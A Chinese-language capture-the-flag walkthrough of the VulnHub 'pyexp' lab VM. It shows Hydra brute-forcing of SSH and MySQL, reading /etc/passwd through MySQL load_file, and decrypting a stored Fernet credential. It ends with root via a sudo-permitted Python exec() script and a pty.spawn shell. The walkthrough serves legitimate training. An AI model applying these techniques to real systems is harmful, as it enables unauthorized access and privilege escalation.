注意:
使用 VM Ware 打开靶机,不要使用 VirtualBox 打开,因为作者设计的就是使用 VM ware 的
靶机(中等难度):
https://download.vulnhub.com/pyexp/pyexpvm.zip
目标:
- 取得 root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- SSH 密码爆破
- Mysql 密码爆破
- Mysql 执行代码
- 编写解密代码
- sudo 权限漏洞
- Python 函数
- 本地提权
主机发现
arp-scan -l
端口扫描和服务发现
nmap -p- 192.168.0.102
发现没有 Web 服务端口
nmap -p1337,3306 -sV -sC 192.168.0.102
发现 SSH 服务工作在 1337 端口上,不是常规的 22 端口
searchsploit ssh 7.9
和 searchsploit mysql 5.5.5
查找已知的漏洞利用代码,发现没有可用的,mysql 那个得具体到 5.5.51 这个小版本才行
SSH 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.41:1337
爆破 SSH ,但是最后跑完了字典也没成功
因为我的网络环境改变,所以 IP 变了
Mysql 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.0.102
破解成功,root 账号的密码 prettywoman
,意思是漂亮小姐姐
mysql -u root -h 192.168.0.102 -p
或者mysql -u root -h 192.168.0.102 --skip-ssl -p
输入密码之后直接登录成功
通过 \! id
来尝试获取操作系统的指令失败
尝试 select do_system('id');
也失败,靶机没有这个函数
select load_file('/etc/passwd');
用系统函数读取系统文件成功
发现一个 lucy 账号:lucy:x:1000:1000:lucy,,,:/home/lucy:/bin/bash
,那可以尝试用 lucy 账号进行 SSH 暴力破解,但是失败了
那我们就继续读取文件呗,select load_file('/etc/alternatives/my.cnf');
- 在Linux系统中,/etc/alternatives/my.cnf 是一个符号链接文件,它通常链接到 MySQL 配置文件 my.cnf
但是里面没有有价值的信息,但是它包含了其他文件的路径,里面也没有其他有价值的信息
select load_file('/home/lucy/.ssh/id_rsa');
查看 SSH 秘钥是空的
继续信息收集,查看数据库,发现 data 数据库里面有一个 fernet 表,表里有两个字段 cred(身份认证信息) 和 keyy(秘钥)
cred:
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy:
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
根据表名使用百度大法得知是 fernet 算法,Python 有一个库 cryptography
cryptography · PyPI 发现利用代码
>>> from cryptography.fernet import Fernet
>>> # Put this somewhere safe!
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"A really secret message. Not for prying eyes.")
>>> token
b'...'
>>> f.decrypt(token)
b'A really secret message. Not for prying eyes.'
参照官方代码运行一下
发现生成的 key 和 Mysql数据库里面截获的 key 长度,位数是一样的
对比生成的密文也是相似的
那我们最后再使用代码中的 f.decrypt(token)
来尝试解密试试
重新强制给 key 和 token 赋值,然后使用 f.decrypt(token)
来解密,成功获取明文 b'lucy:wJ9
"Lemdv9[FEw-'`
那么尝试 SSH 登录 lucy 账号
ssh [email protected] -p 1337
运气不错,成功登录,并且获得第一个 flag
提权
内核漏洞提权,但是是失败的
lucy@pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
cat .bash_history
有发现,他执行了一些命令
- .bash_history是一个隐藏文件,存储了用户在交互式bash终端中执行过的命令历史记录。每次用户在终端中执行一个命令,该命令就会被追加到.bash_history文件中。
sudo -l
发现 lucy 她可以以 root 的身份,不需要密码执行命令 /usr/bin/python2 /opt/exp.py
直接执行看不出是什么功能的
ls -l /opt/exp.py
发现我们有读的
lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
help('exec')
发现 exec 函数可以动态的执行 python 代码
既然这样,那我们使用经典的 import pty;pty.spawn('/bin/bash')
提权成功,成为 root 账户,获得第2个 flag
ip a
确实是在目标靶机上,打靶结束!